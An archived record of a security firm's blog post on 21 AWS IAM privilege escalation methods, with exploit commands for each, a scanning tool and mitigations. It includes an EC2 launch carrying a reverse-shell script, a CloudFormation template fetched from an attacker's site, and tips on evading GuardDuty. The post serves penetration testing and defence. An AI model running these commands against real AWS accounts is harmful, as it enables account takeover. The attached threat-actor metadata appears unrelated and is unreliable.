{
	"id": "f6f76027-3cbb-49dd-a18e-46366b0c3d64",
	"created_at": "2026-04-06T00:08:52.636405Z",
	"updated_at": "2026-04-10T03:21:45.832955Z",
	"deleted_at": null,
	"sha1_hash": "cc7ff676ed150c562d7f367290df656b528337a7",
	"title": "AWS IAM Privilege Escalation – Methods and Mitigation",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 481804,
	"plain_text": "AWS IAM Privilege Escalation – Methods and Mitigation\r\nBy Spencer Gietzen\r\nPublished: 2018-11-19 · Archived: 2026-04-05 14:50:09 UTC\r\nIntro: AWS Privilege Escalation Vulnerabilities\r\nAt Rhino Security Labs, we do a lot of penetration testing for AWS architecture, and invest heavily in related\r\nAWS security research.  This post will cover our recent findings in new IAM Privilege Escalation methods – 21 in\r\ntotal – which allow an attacker to escalate from a compromised low-privilege account to full administrative\r\nprivileges.\r\nIn addition to many new privilege escalation routes, we’ve created a scanning tool (available on Github) to\r\nidentify these vulnerabilities in your own AWS user account.  if you have an account with IAM read access for all\r\nusers, the script can be run against every user in the account to detect these vulnerabilities account-wide.\r\nNote:  This is a longer, more meaty blog post.  For those just looking for the remediation steps and\r\nscanner….\r\nAWS Privilege Escalation Scanner (aws_escalate.py) + Github\r\nMitigation Suggestions\r\nAWS Exploitation (and Pacu Beta)\r\nWhy is this Important?\r\nCloud privilege escalation and IAM permission misconfigurations have been discussed in the past, but most posts\r\nand tools only offer ‘best practices’ and not context on what’s actually exploitable.\r\nBy documenting specific combinations of weak permissions that could lead to compromise, we aim to help\r\nhighlight these risks and bring awareness to ways API permissions can be abused.\r\nSpecific AWS Escalation Methods\r\nHere we get into the full list of identified escalation methods, as well as a description and potential impact for\r\neach.\r\nSpecific credit to Asaf Hecht and the team at CyberArk for their initial research into “AWS Shadow Admins”.\r\nTheir aggregation of AWS IAM privilege escalation research is included here and helped drive forward this idea\r\nand the discovery of new methods.\r\n1. Creating a new policy version\r\nhttps://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/\r\nPage 1 of 17\n\nDescription: An attacker with the iam:CreatePolicyVersion permission can create a new version of an IAM policy\r\nthat they have access to. This allows them to define their own custom permissions. When creating a new policy\r\nversion, it needs to be set as the default version to take effect, which you would think would require the\r\niam:SetDefaultPolicyVersion permission, but when creating a new policy version, it is possible to include a flag (–\r\nset-as-default) that will automatically create it as the new default version. That flag does not require the\r\niam:SetDefaultPolicyVersion permission to use.\r\nAn example command to exploit this method might look like this:\r\naws iam create-policy-version –policy-arn target_policy_arn –policy-document\r\nfile://path/to/administrator/policy.json –set-as-default\r\nWhere the policy.json file would include a policy document that allows any action against any resource in the\r\naccount.\r\nPotential Impact: This privilege escalation method could allow a user to gain full administrator access of the\r\nAWS account.\r\n2. Setting the default policy version to an existing version\r\nDescription: An attacker with the iam:SetDefaultPolicyVersion permission may be able to escalate privileges\r\nthrough existing policy versions that are not currently in use. If a policy that they have access to has versions that\r\nare not the default, they would be able to change the default version to any other existing version.\r\nAn example command to exploit this method might look like this:\r\naws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2\r\nWhere “v2” is the policy version with the most privileges available.\r\nPotential Impact: The potential impact is associated with the level of permissions that the inactive policy version\r\nhas. This could range from no privilege escalation at all to gaining full administrator access to the AWS account,\r\ndepending on what the inactive policy versions have access to.\r\n3. Creating an EC2 instance with an existing instance profile\r\nDescription: An attacker with the iam:PassRole and ec2:RunInstances permissions can create a new EC2 instance\r\nthat they will have operating system access to and pass an existing EC2 instance profile/service role to it. They\r\ncan then login to the instance and request the associated AWS keys from the EC2 instance meta data, which gives\r\nthem access to all the permissions that the associated instance profile/service role has.\r\nThe attacker can gain access to the instance in a few different ways. One way would be to create/import an SSH\r\nkey and associated it with the instance on creation, so they can SSH into it. Another way would be to supply a\r\nscript in the EC2 User Data that would give them access, such as an Empire stager, or even just a reverse shell\r\npayload.\r\nhttps://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/\r\nPage 2 of 17\n\nOnce the instance is running and the user has access to it, they can query the EC2 metadata to retrieve temporary\r\ncredentials for the associated instance profile, giving them access to any AWS service that the attached role has.\r\nAn example command to exploit this method might look like this:\r\naws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile\r\nName=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456\r\nWhere the attacker has access to my_ssh_key and the security group sg-123456 allows SSH access. Another\r\ncommand that could be run that doesn’t require an SSH key or security group allowing SSH access might look\r\nlike this:\r\naws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile\r\nName=iam-full-access-ip –user-data file://script/with/reverse/shell.sh\r\nWhere the .sh script file contains a script to open a reverse shell in one way or another.\r\nAn important note to make about this attack is that an obvious indicator of compromise is when EC2 instance\r\nprofile credentials are used outside of the specific instance. Even AWS GuardDuty triggers on this\r\n(https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types.html#unauthorized11), so it is not a\r\nsmart move to exfiltrate these credentials and run them locally, but rather access the AWS API from within that\r\nEC2 instance.\r\nPotential Impact: This attack would give an attacker access to the set of permissions that the instance profile/role\r\nhas, which again could range from no privilege escalation to full administrator access of the AWS account.\r\n4. Creating a new user access key\r\nDescription: An attacker with the iam:CreateAccessKey permission on other users can create an access key ID\r\nand secret access key belonging to another user in the AWS environment, if they don’t already have two sets\r\nassociated with them (which best practice says they shouldn’t).\r\nAn example command to exploit this method might look like this:\r\naws iam create-access-key –user-name target_user\r\nWhere target_user has an extended set of permissions compared to the current user.\r\nPotential Impact: This method would give an attacker the same level of permissions as any user they were able\r\nto create an access key for, which could range from no privilege escalation to full administrator access to the\r\naccount.\r\n5. Creating a new login profile\r\nDescription: An attacker with the iam:CreateLoginProfile permission on other users can create a password to use\r\nto login to the AWS console on any user that does not already have a login profile setup.\r\nAn example command to exploit this method might look like this:\r\nhttps://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/\r\nPage 3 of 17\n\naws iam create-login-profile –user-name target_user –password ‘|\r\n[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}\u003cXT5isoE=LB2L^G@{uK\u003ef;/CQQeXSo\u003e}th)KZ7v?\r\n\\\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U\u003c9`O~Z”,jJ[iT-D^(‘ –no-password-reset-required\r\nWhere target_user has an extended set of permissions compared to the current user and the password is the max\r\npossible length (128 characters) with all types of characters (symbols, lowercase, uppercase, numbers) so that you\r\ncan guarantee that it will meet the accounts minimum password requirements.\r\nPotential Impact: This method would give an attacker the same level of permissions as any user they were able\r\nto create a login profile for, which could range from no privilege escalation to full administrator access to the\r\naccount.\r\n6. Updating an existing login profile\r\nDescription: An attacker with the iam:UpdateLoginProfile permission on other users can change the password\r\nused to login to the AWS console on any user that already has a login profile setup.\r\nLike creating a login profile, an example command to exploit this method might look like this:\r\naws iam update-login-profile –user-name target_user –password ‘|\r\n[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}\u003cXT5isoE=LB2L^G@{uK\u003ef;/CQQeXSo\u003e}th)KZ7v?\r\n\\\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U\u003c9`O~Z”,jJ[iT-D^(‘ –no-password-reset-required\r\nWhere target_user has an extended set of permissions compared to the current user and the password is the max\r\npossible length (128 characters) with all types of characters (symbols, lowercase, uppercase, numbers) so that you\r\ncan guarantee that it will meet the accounts minimum password requirements.\r\nPotential Impact: This method would give an attacker the same level of permissions as any user they were able\r\nto update the login profile for, which could range from no privilege escalation to full administrator access to the\r\naccount.\r\n7. Attaching a policy to a user\r\nDescription: An attacker with the iam:AttachUserPolicy permission can escalate privileges by attaching a policy\r\nto a user that they have access to, adding the permissions of that policy to the attacker.\r\nAn example command to exploit this method might look like this:\r\naws iam attach-user-policy –user-name my_username –policy-arn\r\narn:aws:iam::aws:policy/AdministratorAccess\r\nWhere the user name is the current user.\r\nPotential Impact: An attacker would be able to use this method to attach the AdministratorAccess AWS managed\r\npolicy to a user, giving them full administrator access to the AWS environment.\r\n8. Attaching a policy to a group\r\nhttps://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/\r\nPage 4 of 17\n\nDescription: An attacker with the iam:AttachGroupPolicy permission can escalate privileges by attaching a\r\npolicy to a group that they are a part of, adding the permissions of that policy to the attacker.\r\nAn example command to exploit this method might look like this:\r\naws iam attach-group-policy –group-name group_i_am_in –policy-arn\r\narn:aws:iam::aws:policy/AdministratorAccess\r\nWhere the group is a group the current user is a part of.\r\nPotential Impact: An attacker would be able to use this method to attach the AdministratorAccess AWS managed\r\npolicy to a group, giving them full administrator access to the AWS environment.\r\n9. Attaching a policy to a role\r\nDescription: An attacker with the iam:AttachRolePolicy permission can escalate privileges by attaching a policy\r\nto a role that they have access to, adding the permissions of that policy to the attacker.\r\nAn example command to exploit this method might look like this:\r\naws iam attach-role-policy –role-name role_i_can_assume –policy-arn\r\narn:aws:iam::aws:policy/AdministratorAccess\r\nWhere the role is a role that the current user can temporarily assume with sts:AssumeRole.\r\nPotential Impact: An attacker would be able to use this method to attach the AdministratorAccess AWS managed\r\npolicy to a role, giving them full administrator access to the AWS environment.\r\n10. Creating/updating an inline policy for a user\r\nDescription: An attacker with the iam:PutUserPolicy permission can escalate privileges by creating or updating\r\nan inline policy for a user that they have access to, adding the permissions of that policy to the attacker.\r\nAn example command to exploit this method might look like this:\r\naws iam put-user-policy –user-name my_username –policy-name my_inline_policy –policy-document\r\nfile://path/to/administrator/policy.json\r\nWhere the user name is the current user.\r\nPotential Impact: Due to the ability to specify an arbitrary policy document with this method, the attacker could\r\nspecify a policy that gives permission to perform any action on any resource, ultimately escalating to full\r\nadministrator privileges in the AWS environment.\r\n11. Creating/updating an inline policy for a group\r\nDescription: An attacker with the iam:PutGroupPolicy permission can escalate privileges by creating or updating\r\nan inline policy for a group that they are a part of, adding the permissions of that policy to the attacker.\r\nhttps://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/\r\nPage 5 of 17\n\nAn example command to exploit this method might look like this:\r\naws iam put-group-policy –group-name group_i_am_in –policy-name group_inline_policy –policy-document file://path/to/administrator/policy.json\u003e\r\nWhere the group is a group the current user is in.\r\nPotential Impact: Due to the ability to specify an arbitrary policy document with this method, the attacker could\r\nspecify a policy that gives permission to perform any action on any resource, ultimately escalating to full\r\nadministrator privileges in the AWS environment.\r\n12. Creating/updating an inline policy for a role\r\nDescription: An attacker with the iam:PutRolePolicy permission can escalate privileges by creating or updating\r\nan inline policy for a role that they have access to, adding the permissions of that policy to the attacker.\r\nAn example command to exploit this method might look like this:\r\naws iam put-role-policy –role-name role_i_can_assume –policy-name role_inline_policy –policy-document file://path/to/administrator/policy.json\r\nWhere the role is a role that the current user can temporarily assume with sts:AssumeRole.\r\nPotential Impact: Due to the ability to specify an arbitrary policy document with this method, the attacker could\r\nspecify a policy that gives permission to perform any action on any resource, ultimately escalating to full\r\nadministrator privileges in the AWS environment.\r\n13. Adding a user to a group\r\nDescription: An attacker with the iam:AddUserToGroup permission can use it to add themselves to an existing\r\nIAM Group in the AWS account.\r\nAn example command to exploit this method might look like this:\r\naws iam add-user-to-group –group-name target_group –user-name my_username\r\nWhere target_group has more/different privileges than the attacker’s user account.\r\nPotential Impact: The attacker would be able to gain privileges of any existing group in the account, which could\r\nrange from no privilege escalation to full administrator access to the account.\r\n14. Updating the AssumeRolePolicyDocument of a role\r\nDescription: An attacker with the iam:UpdateAssumeRolePolicy and sts:AssumeRole permissions would be able\r\nto change the assume role policy document of any existing role to allow them to assume that role.\r\nAn example command to exploit this method might look like this:\r\nhttps://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/\r\nPage 6 of 17\n\naws iam update-assume-role-policy –role-name role_i_can_assume –policy-document\r\nfile://path/to/assume/role/policy.json\r\nWhere the policy looks like the following, which gives the user permission to assume the role:\r\nPotential Impact: This would give the attacker the privileges that are attached to any role in the account, which\r\ncould range from no privilege escalation to full administrator access to the account.\r\n15. Passing a role to a new Lambda function, then invoking it\r\nDescription: A user with the iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction permissions can\r\nescalate privileges by passing an existing IAM role to a new Lambda function that includes code to import the\r\nrelevant AWS library to their programming language of choice, then using it perform actions of their choice. The\r\ncode could then be run by invoking the function through the AWS API.\r\nAn example set of commands to exploit this method might look like this:\r\naws lambda create-function –function-name my_function –runtime python3.6 –role\r\narn_of_lambda_role –handler lambda_function.lambda_handler –code file://my/python/code.py\r\nWhere the code in the python file would utilize the targeted role. An example that uses IAM to attach an\r\nadministrator policy to the current user can be seen here:\r\nimport boto3\r\ndef lambda_handler(event, context):\r\nclient = boto3.client(‘iam’)\r\nresponse = client.attach_user_policy(\r\nUserName=’my_username’,\r\nPolicyArn=’ arn:aws:iam::aws:policy/AdministratorAccess’\r\nhttps://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/\r\nPage 7 of 17\n\n)\r\nreturn response\r\nAfter this, the attacker would then invoke the Lambda function using the following command:\r\naws lambda invoke –function-name my_function output.txt\r\nWhere output.txt is where the results of the invocation will be stored.\r\nPotential Impact: This would give a user access to the privileges associated with any Lambda service role that\r\nexists in the account, which could range from no privilege escalation to full administrator access to the account.\r\n16. Passing a role to a new Lambda function, then triggering it with DynamoDB\r\nDescription: A user with the iam:PassRole, lambda:CreateFunction, and lambda:CreateEventSourceMapping\r\n(and possibly dynamodb:PutItem and dynamodb:CreateTable) permissions, but without the\r\nlambda:InvokeFunction permission, can escalate privileges by passing an existing IAM role to a new Lambda\r\nfunction that includes code to import the relevant AWS library to their programming language of choice, then\r\nusing it perform actions of their choice. They then would need to either create a DynamoDB table or use an\r\nexisting one, to create an event source mapping for the Lambda function pointing to that DynamoDB table. Then\r\nthey would need to either put an item into the table or wait for another method to do so that the Lambda function\r\nwill be invoked.\r\nAn example set of commands to exploit this method might look like this:\r\naws lambda create-function –function-name my_function –runtime python3.6 –role\r\narn_of_lambda_role –handler lambda_function.lambda_handler –code file://my/python/code.py\r\nWhere the code in the python file would utilize the targeted role. An example would be the same script used in\r\nmethod 11’s description.\r\nAfter this, the next step depends on whether DynamoDB is being used in the current AWS environment. If it is\r\nbeing used, all that needs to be done is creating the event source mapping for the Lambda function, but if not, then\r\nthe attacker will need to create a table with streaming enabled with the following command:\r\naws dynamodb create-table –table-name my_table –attribute-definitions\r\nAttributeName=Test,AttributeType=S –key-schema AttributeName=Test,KeyType=HASH –provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 –stream-specification\r\nStreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES\r\nAfter this command, the attacker would connect the Lambda function and the DynamoDB table by creating an\r\nevent source mapping with the following command:\r\naws lambda create-event-source-mapping –function-name my_function –event-source-arn\r\narn_of_dynamodb_table_stream –enabled –starting-position LATEST\r\nhttps://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/\r\nPage 8 of 17\n\nNow that the Lambda function and the stream are connected, the attacker can invoke the Lambda function by\r\ntriggering the DynamoDB stream. This can be done by putting an item into the DynamoDB table, which will\r\ntrigger the stream, using the following command:\r\naws dynamodb put-item –table-name my_table –item Test={S=”Random string”}\r\nAt this point, the Lambda function will be invoked, and the attacker will be made an administrator of the AWS\r\naccount.\r\nPotential Impact: This would give an attacker access to the privileges associated with any Lambda service role\r\nthat exists in the account, which could range from no privilege escalation to full administrator access to the\r\naccount.\r\n17. Updating the code of an existing Lambda function\r\nDescription: An attacker with the lambda:UpdateFunctionCode permission could update the code in an existing\r\nLambda function with an IAM role attached so that it would import the relevant AWS library in that programming\r\nlanguage and use it to perform actions on behalf of that role. They would then need to wait for it to be invoked if\r\nthey were not able to do so directly, but if it already exists, there is likely some way that it will be invoked.\r\nAn example command to exploit this method might look like this:\r\naws lambda update-function-code –function-name target_function –zip-file\r\nfileb://my/lambda/code/zipped.zip\r\nWhere the associated .zip file contains code that utilizes the Lambda’s role. An example could include the code\r\nsnippet from methods 11 and 12.\r\nPotential Impact: This would give an attacker access to the privileges associated with the Lambda service role\r\nthat is attached to that function, which could range from no privilege escalation to full administrator access to the\r\naccount.\r\n18. Passing a role to a Glue Development Endpoint\r\nDescription: An attacker with the iam:PassRole and glue:CreateDevEndpoint permissions could create a new\r\nAWS Glue development endpoint and pass an existing service role to it. They then could SSH into the instance\r\nand use the AWS CLI to have access of the permissions the role has access to.\r\nAn example command to exploit this method might look like this:\r\naws glue create-dev-endpoint –endpoint-name my_dev_endpoint –role-arn arn_of_glue_service_role –\r\npublic-key file://path/to/my/public/ssh/key.pub\r\nNow the attacker would just need to SSH into the development endpoint to access the roles credentials. Even\r\nthough it is not specifically noted in the GuardDuty documentation, like method number 2 (Creating an EC2\r\ninstance with an existing instance profile), it would be a bad idea to exfiltrate the credentials from the Glue\r\nInstance. Instead, the AWS API should be accessed directly from the new instance.\r\nhttps://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/\r\nPage 9 of 17\n\nPotential Impact: This would give an attacker access to the privileges associated with any Glue service role that\r\nexists in the account, which could range from no privilege escalation to full administrator access to the account.\r\n19. Updating an existing Glue Dev Endpoint\r\nDescription: An attacker with the glue:UpdateDevEndpoint permission would be able to update the associated\r\nSSH public key of an existing Glue development endpoint, to then SSH into it and have access to the permissions\r\nthe attached role has access to.\r\nAn example command to exploit this method might look like this:\r\naws glue –endpoint-name target_endpoint –public-key file://path/to/my/public/ssh/key.pub\r\nNow the attacker would just need to SSH into the development endpoint to access the roles credentials. Like\r\nmethod number 14, even though it is not specifically noted in the GuardDuty documentation, it would be a bad\r\nidea to exfiltrate the credentials from the Glue Instance. Instead, the AWS API should be accessed directly from\r\nthe new instance.\r\nPotential Impact: This would give an attacker access to the privileges associated with the role attached to the\r\nspecific Glue development endpoint, which could range from no privilege escalation to full administrator access\r\nto the account.\r\n20. Passing a role to CloudFormation\r\nDescription: An attacker with the iam:PassRole and cloudformation:CreateStack permissions would be able to\r\nescalate privileges by creating a CloudFormation template that will perform actions and create resources using the\r\npermissions of the role that was passed when creating a CloudFormation stack.\r\nAn example command to exploit this method might look like this:\r\naws cloudformation create-stack –stack-name my_stack –template-url http://my-website.com/my-malicious-template.template –role-arn arn_of_cloudformation_service_role\r\nWhere the template located at the attacker’s website includes directions to perform malicious actions, such as\r\ncreating an administrator user and then using those credentials to escalate their own access.\r\nPotential Impact: This would give an attacker access to the privileges associated with the role that was passed\r\nwhen creating the CloudFormation stack, which could range from no privilege escalation to full administrator\r\naccess to the account.\r\n21. Passing a role to Data Pipeline\r\nDescription: An attacker with the iam:PassRole, datapipeline:CreatePipeline, and\r\ndatapipeline:PutPipelineDefinition permissions would be able to escalate privileges by creating a pipeline and\r\nupdating it to run an arbitrary AWS CLI command or create other resources, either once or on an interval with the\r\npermissions of the role that was passed in.\r\nhttps://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/\r\nPage 10 of 17\n\nSome example commands to exploit this method might look like these:\r\naws datapipeline create-pipeline –name my_pipeline –unique-id unique_string\r\nWhich will create an empty pipeline. The attacker then needs to update the definition of the pipeline to tell it what\r\nto do, with a command like this:\r\naws datapipeline put-pipeline-definition –pipeline-id unique_string –pipeline-definition\r\nfile://path/to/my/pipeline/definition.json\r\nWhere the pipeline definition file contains a directive to run a command or create resources using the AWS API\r\nthat could help the attacker gain additional privileges.\r\nPotential Impact: This would give the attacker access to the privileges associated with the role that was passed\r\nwhen creating the pipeline, which could range from no privilege escalation to full administrator access to the\r\naccount.\r\nScanning for Permission Flaws: aws_escalate\r\nWhile any of these privilege escalation methods can be checked manually, by either manually reviewing the users\r\nIAM permissions or attempting to exploit each method, it can be very time consuming.\r\nTo automate this process, we have written a tool to do all that checking for you: aws_escalate.py.\r\nUsing the script (Github available here), it is possible to detect what users have access to what privilege escalation\r\nmethods in an AWS environment. It can be run against any single user or every user in the account if the access\r\nkeys being used have IAM read access.  Results output is in csv, including a breakdown of users scanned and the\r\nprivilege escalation methods they are vulnerable to.\r\nhttps://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/\r\nPage 11 of 17\n\nWhen opened in Excel, the left-most column contains the names of all the privilege escalation methods that were\r\nchecked for and the top-most row includes the names of all the IAM users that were checked.\r\nEvery field (intersecting a specific vulnerability and tested key) has three possible values:  Confirmed,  Potential,\r\nor Blank (the associated account is not vulnerable).  “Confirmed” means it is confirmed that that privilege\r\nescalation method works for that user.\r\nIf the cell is “Potential”, that means that that privilege escalation method will potentially work, but further\r\ninvestigation is required.\r\nhttps://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/\r\nPage 12 of 17\n\nAn example of this case is when the user has the required permissions for a method, but the script can’t determine\r\nif the resources they can execute on allow for privilege escalation or not.\r\nIf the cell is empty, the user does not have the required permissions for that escalation method.\r\nIf a user is detected to already have administrator privileges, they will be marked with “(Admin)” next to their\r\nusername in their column.\r\naws_escalate Usage and Example\r\nThe ‘help’ output of the tool:\r\nusage: aws_escalate.py [-h] [–all-users] [–user-name USER_NAME]\r\n                                    –access-key-id ACCESS_KEY_ID –secret-key\r\n                                    SECRET_KEY [–session-token SESSION_TOKEN]\r\n \r\nThis script will fetch permissions for a set of users and then scan for\r\npermission misconfigurations to see what privilege escalation methods are\r\npossible. Available attack paths will be output to a .csv file in the same directory.\r\n \r\noptional arguments:\r\n  -h, –help            show this help message and exit\r\n  –all-users           Run this module against every user in the account.\r\n.\r\n  –user-name USER_NAME\r\n                        A single username of a user to run this module\r\n                        against. By default, the user to which the active AWS\r\n                        keys belong to will be used.\r\n  –access-key-id ACCESS_KEY_ID\r\n                        The AWS access key ID to use for authentication.\r\n  –secret-key SECRET_KEY\r\n                        The AWS secret access key to use for authentication.\r\n  –session-token SESSION_TOKEN\r\n                        The AWS session token to use for authentication, if\r\n                        there is one.\r\n \r\nSome usage examples:\r\n \r\n            Check what privilege escalation methods the current user has access to:\r\n           \r\n                        python3 aws_escalate.py –access-key-id ABCDEFGHIJK –secret-key hdj6kshakl31/1asdhui1hka\r\n \r\n            Check what privilege escalation methods a specific user has access to:\r\n                        python3 aws_escalate.py –user-name some_other_user –access-key-id ABCDEFGHIJK –secret-key hdj6kshakl31/1asdhui1hka\r\nhttps://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/\r\nPage 13 of 17\n\nCheck what privilege escalation methods all users have access to:\r\n                        python3 aws_escalate.py –all-users –access-key-id ABCDEFGHIJK –secret-key\r\nhdj6kshakl31/1asdhui1hka\r\n \r\nHere is an example .csv output of the aws_escalate.py scan I ran against a test environment.  This sandbox\r\nenvironment has 10 separate IAM users, two of which already have administrator privileges (Dave and Spencer)\r\nand two are not vulnerable to any of the privilege escalation methods (Bill and BurpS3Checker).\r\nDefense and Mitigation\r\nIn general, defending against these attacks is (in theory) relatively simple. The complication comes in when trying\r\nto defend against these kinds of attacks when your own environment. In any case, the number one\r\nrecommendation would be to fully utilize the “Resource” option of IAM policies, and this includes using the built-in variables that policies support.\r\nA list of supporting variables and descriptions can be found here:\r\nhttps://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_variables.html, but broadly, they allow\r\nyou set allow or deny certain IAM permissions based on something you don’t know exactly at the time of creation\r\nor something that can change over time, from user to user, or other ways (a variable).\r\nThe two main IAM policy variables to pay attention to are “aws:SourceIp” (the IP address detected when making\r\nAPI calls) and “aws:username” (the username of the user who is making API calls). Obviously, by restricting\r\npermissions to a known IP address, the chances of API calls coming from that IP are not malicious is greatly\r\nincreased.\r\nBy using the “aws:username” variable, it is possible to give users a variety of IAM permissions that they can only\r\nexecute against themselves. Examples of permissions you would want to use this variable in the resource for\r\ninclude aws:CreateAccessKey (method #4), aws:CreateLoginProfile (method #5), and aws:UpdateLoginProfile\r\n(method #6). Included in this list should be permissions relating to setting up (not deleting/removing) multi-factor\r\nauthentication for the current user account. By giving an IAM user all of these permissions but restricting them to\r\nhttps://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/\r\nPage 14 of 17\n\nonly being allowed to be run on the current user, a user can create their own login profile/password, change their\r\nown password, create themselves a new set of access keys, and setup multi-factor authentication for themselves.\r\nA policy like that might look like the following:\r\nNow for any user that this policy is attached to, they can only perform those four actions on themselves, because\r\nof the user of the “aws:username” variables. This example policy shows how to correctly format those variables to\r\nbe recognized correctly by IAM, which is done by putting the IAM variable name inside curly-brackets that begin\r\nwith a money sign (${example-variable}).\r\nTo restrict access to a certain IP address, the IAM policy must user the “Condition” key to set a condition that the\r\nIAM user is allowed to perform these actions, if and only if this condition is set. The following IAM policy\r\ndocument snippet shows “Condition” being used to restrict access to only those users who run API calls after a\r\ncertain time (2013-08-16T12:00:00Z), before another time (2013-08-16T15:00:00Z) and having an IP address\r\noriginating from a certain CIDR range (192.0.2.0/24 or 203.0.113.0/24).\r\nhttps://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/\r\nPage 15 of 17\n\nPreview: AWS Exploitation and Pacu\r\nThis AWS privilege escalation scanner came from a larger Rhino project currently in development – Pacu (aptly\r\nnamed after a type of Piranha in the Amazon).\r\nPacu is an open source AWS post-exploitation framework, designed for offensive security testing against AWS\r\nenvironments.\r\nCreated and maintained by Rhino Security Labs, the framework allows penetration testers to identify areas of\r\nattack once initial access is obtained to an AWS account.  Like other open source offensive security tools, Pacu is\r\nbuilt to identify AWS flaws and misconfigurations, helping AWS users better understand the impact of those risks.\r\nOne of these modules will be a similar privilege escalation scanner, with the option to exploit any vulnerable\r\naccount automatically.  This following video shows Pacu identifying a privilege escalation route and exploiting it\r\nfor immediate AWS administrator access.\r\nhttps://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/\r\nPage 16 of 17\n\nPacu Beta Testing\r\nEDIT (8/13/18): Pacu beta has now been closed and is now live on\r\nGitHub: https://github.com/RhinoSecurityLabs/pacu\r\nA supporting OWASP Talk can be found on YouTube here.\r\nConclusion\r\nAWS security can be a tough task to accurately and successfully take on, but by protecting against privilege\r\nescalation attacks, security of an AWS environment can be improved significantly.\r\nThis striving for security maturation in the cloud is why we’re developing an AWS post-exploitation tool, Pacu. \r\nPacu will be publicly released as an open source project early August 2018.\r\nSource: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/\r\nhttps://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/\r\nPage 17 of 17",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
	],
	"report_names": [
		"aws-privilege-escalation-methods-mitigation"
	],
	"threat_actors": [
		{
			"id": "d90307b6-14a9-4d0b-9156-89e453d6eb13",
			"created_at": "2022-10-25T16:07:23.773944Z",
			"updated_at": "2026-04-10T02:00:04.746188Z",
			"deleted_at": null,
			"main_name": "Lead",
			"aliases": [
				"Casper",
				"TG-3279"
			],
			"source_name": "ETDA:Lead",
			"tools": [
				"Agentemis",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"RbDoor",
				"RibDoor",
				"Winnti",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434132,
	"ts_updated_at": 1775791305,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/cc7ff676ed150c562d7f367290df656b528337a7.pdf",
		"text": "https://archive.orkl.eu/cc7ff676ed150c562d7f367290df656b528337a7.txt",
		"img": "https://archive.orkl.eu/cc7ff676ed150c562d7f367290df656b528337a7.jpg"
	}
}